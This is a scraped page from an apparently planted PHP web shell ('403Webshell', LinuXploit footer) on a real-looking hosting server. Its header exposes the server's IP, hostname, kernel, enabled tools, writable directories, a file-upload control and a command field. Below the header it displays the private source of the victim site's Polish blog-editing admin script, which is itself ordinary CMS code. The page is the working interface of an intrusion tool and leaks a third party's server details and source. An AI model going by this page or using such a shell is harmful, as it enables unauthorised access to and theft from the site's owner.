403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/blog-edit.php
<?php
declare(strict_types=1);

require_once dirname(__DIR__) . '/includes/functions.php';
$user = require_blog_manager();
ensure_blog_schema();

$id = (int)($_GET['id'] ?? $_POST['id'] ?? 0);
$post = $id > 0 ? blog_post_by_id($id) : null;
if ($id > 0 && !$post) { http_response_code(404); exit('Nie znaleziono wpisu.'); }

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    verify_csrf();

    try {
        $title = trim((string)($_POST['title'] ?? ''));
        $slugInput = trim((string)($_POST['slug'] ?? ''));
        $category = trim((string)($_POST['category'] ?? ''));
        $excerpt = trim((string)($_POST['excerpt'] ?? ''));
        $content = trim((string)($_POST['content'] ?? ''));
        $status = (string)($_POST['status'] ?? 'draft');
        $publishRaw = trim((string)($_POST['publish_at'] ?? ''));
        $seoTitle = trim((string)($_POST['seo_title'] ?? ''));
        $seoDescription = trim((string)($_POST['seo_description'] ?? ''));

        if ($title === '') throw new RuntimeException('Podaj tytuł wpisu.');
        if ($content === '') throw new RuntimeException('Wpis nie może być pusty.');
        $autoSchedule = $status === 'auto';
        if ($autoSchedule) $status='draft';
        if (!in_array($status,['draft','scheduled','published'],true)) $status='draft';

        $slug = blog_unique_slug($slugInput !== '' ? $slugInput : $title,$id);
        $publishAt = null;

        if ($status === 'scheduled') {
            $dt = DateTimeImmutable::createFromFormat('Y-m-d\TH:i',$publishRaw);
            if (!$dt) throw new RuntimeException('Podaj datę i godzinę publikacji.');
            if ($dt <= new DateTimeImmutable('now')) {
                $status = 'published';
            }
            $publishAt = $dt->format('Y-m-d H:i:s');
        } elseif ($status === 'published') {
            if ($publishRaw !== '') {
                $dt = DateTimeImmutable::createFromFormat('Y-m-d\TH:i',$publishRaw);
                $publishAt = $dt ? $dt->format('Y-m-d H:i:s') : date('Y-m-d H:i:s');
            } else {
                $publishAt = ($post && !empty($post['publish_at'])) ? $post['publish_at'] : date('Y-m-d H:i:s');
            }
        }

        $featured = (string)($post['featured_image'] ?? '');
        if (!empty($_POST['remove_featured'])) $featured = '';
        $uploaded = blog_upload_featured_image($_FILES['featured_image'] ?? []);
        if ($uploaded !== '') $featured = $uploaded;

        if ($excerpt === '') $excerpt = blog_excerpt_from_content($content);
        if ($seoTitle === '') $seoTitle = $title . ' | ' . setting('site_name',APP_NAME);
        if ($seoDescription === '') $seoDescription = $excerpt;

        if ($id > 0) {
            $stmt = db()->prepare(
                "UPDATE blog_posts
                 SET title=?,slug=?,category=?,excerpt=?,content=?,featured_image=?,status=?,publish_at=?,seo_title=?,seo_description=?,updated_by_user_id=?,updated_at=NOW()
                 WHERE id=?"
            );
            $stmt->execute([$title,$slug,$category ?: null,$excerpt,$content,$featured ?: null,$status,$publishAt,$seoTitle,$seoDescription,(int)$user['id'],$id]);
            admin_log('blog_update','Zmieniono wpis: '.$title);
            flash('success','Wpis został zapisany.');
        } else {
            $stmt = db()->prepare(
                "INSERT INTO blog_posts
                 (title,slug,category,excerpt,content,featured_image,status,publish_at,seo_title,seo_description,created_by_user_id,updated_by_user_id)
                 VALUES (?,?,?,?,?,?,?,?,?,?,?,?)"
            );
            $stmt->execute([$title,$slug,$category ?: null,$excerpt,$content,$featured ?: null,$status,$publishAt,$seoTitle,$seoDescription,(int)$user['id'],(int)$user['id']]);
            $id = (int)db()->lastInsertId();
            admin_log('blog_create','Dodano wpis: '.$title);
            flash('success','Wpis został dodany.');
        }

        // V9.2: zapis polskiej tresci uruchamia kolejke bez crona.
        try {
            require_once dirname(__DIR__) . '/includes/tklm_v9.php';
            v9_init();
            v9_enqueue_blog_post($id);
            flash('success','Tlumaczenia EN/DE/ES dodane do kolejki.');
        } catch (Throwable $translateError) {
            error_log('POLANA V9 blog enqueue: '.$translateError->getMessage());
            flash('error','Wpis zapisany, ale kolejka tlumaczen wymaga kontroli.');
        }
        // V19.3: only the explicit AUTO choice schedules a new/edited draft.
        if ($autoSchedule) {
            try {
                require_once dirname(__DIR__).'/includes/polana_blog_scheduler_v193.php';
                $nextSlot=p193_schedule_on_save($id,(int)$user['id']);
                if ($nextSlot !== null) flash('success','Automatycznie zaplanowano publikację: '.$nextSlot.'.');
                else flash('error','Zapisano szkic, lecz automatyczny harmonogram jest wyłączony albo wpis ma już termin.');
            } catch (Throwable $scheduleError) {
                error_log('POLANA V19.3 schedule: '.$scheduleError->getMessage());
                flash('error','Wpis zapisano jako szkic, ale nie udało się dodać go do harmonogramu. Sprawdź panel V19.3.');
            }
        }
        /* PIN77_AUTO_BLOG_SAVE */
        require_once dirname(__DIR__) . '/includes/polana_indexnow.php'; pin77_after_blog_save($post, $id);
        redirect('/admin/blog-edit.php?id='.$id);
    } catch (Throwable $e) {
        flash('error',$e->getMessage());
        redirect('/admin/blog-edit.php'.($id>0?'?id='.$id:''));
    }
}

$post = $id > 0 ? blog_post_by_id($id) : [
    'title'=>'','slug'=>'','category'=>'','excerpt'=>'','content'=>'','featured_image'=>'','status'=>'draft','publish_at'=>null,'seo_title'=>'','seo_description'=>''
];
$publishLocal = !empty($post['publish_at']) ? (new DateTimeImmutable($post['publish_at']))->format('Y-m-d\TH:i') : '';
render_admin_header($id>0?'Edytuj wpis':'Nowy wpis');
?>
<div class="admin-title-row">
    <div><h1><?= $id>0 ? 'Edytuj wpis' : 'Nowy wpis' ?></h1><p>Treść bloga + SEO + harmonogram publikacji.</p></div>
    <div class="actions">
        <?php if ($id>0): ?><a class="btn btn-light" href="/blog/<?= e($post['slug']) ?>?preview=1" target="_blank" rel="noopener">Podgląd ↗</a><?php endif; ?>
        <a class="btn btn-light" href="/admin/blog.php">Wróć</a>
    </div>
</div>

<form class="form-card form-grid" method="post" enctype="multipart/form-data">
    <?= csrf_field() ?>
    <input type="hidden" name="id" value="<?= (int)$id ?>">

    <label class="full">Tytuł
        <input name="title" value="<?= e($post['title']) ?>" required maxlength="255">
    </label>
    <label>Slug / adres
        <input name="slug" value="<?= e($post['slug']) ?>" placeholder="zostaw puste – utworzy się z tytułu">
    </label>
    <label>Kategoria
        <input name="category" value="<?= e((string)$post['category']) ?>" placeholder="np. Sezon, Kuchnia, Andrzej Polan">
    </label>

    <label class="full">Krótki opis
        <textarea name="excerpt" rows="3" maxlength="500" placeholder="Jeśli puste, utworzy się z początku wpisu."><?= e((string)$post['excerpt']) ?></textarea>
    </label>

    <label class="full">Treść
        <textarea name="content" rows="18" required placeholder="Zwykły tekst. Nagłówek: ## Tytuł sekcji. Lista: - pozycja"><?= e((string)$post['content']) ?></textarea>
        <small>Obsługiwane proste formatowanie: <strong>## Nagłówek</strong>, <strong>### mniejszy nagłówek</strong>, <strong>- lista</strong>. HTML nie jest potrzebny.</small>
    </label>

    <label>Zdjęcie główne
        <input type="file" name="featured_image" accept="image/jpeg,image/png,image/webp,image/avif">
    </label>
    <?php if (!empty($post['featured_image'])): ?>
        <div>
            <img src="<?= e($post['featured_image']) ?>" alt="" style="max-width:220px;max-height:150px;object-fit:cover;border-radius:14px">
            <label style="margin-top:8px"><input type="checkbox" name="remove_featured" value="1"> Usuń obecne zdjęcie</label>
        </div>
    <?php endif; ?>

    <div class="full admin-section-title"><h2>Publikacja</h2></div>
    <label>Status
        <select name="status" id="blog-status">
            <option value="draft" <?= $id>0 && $post['status']==='draft'?'selected':'' ?>>Szkic</option>
            <option value="auto" <?= $id===0?'selected':'' ?>>Automatycznie zaplanuj (najbliższy termin)</option>
            <option value="scheduled" <?= $post['status']==='scheduled'?'selected':'' ?>>Zaplanowany</option>
            <option value="published" <?= $post['status']==='published'?'selected':'' ?>>Opublikowany</option>
        </select>
    </label>
    <label>Data i godzina
        <input type="datetime-local" name="publish_at" value="<?= e($publishLocal) ?>">
        <small>Dla „Zaplanowany” wybierz przyszły termin. Automatyczne planowanie ma osobne ustawienia w panelu V19.3.</small>
    </label>

    <div class="full admin-section-title"><h2>SEO</h2></div>
    <label class="full">SEO title
        <input name="seo_title" value="<?= e((string)$post['seo_title']) ?>" maxlength="255">
    </label>
    <label class="full">SEO description
        <textarea name="seo_description" rows="3" maxlength="320"><?= e((string)$post['seo_description']) ?></textarea>
    </label>

    <div class="full"><a class="btn btn-light" href="/admin/polana-v193-auto-harmonogram.php">Ustawienia automatycznego harmonogramu →</a></div>
    <div class="full"><button class="btn btn-primary" type="submit">Zapisz wpis</button></div>
</form>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit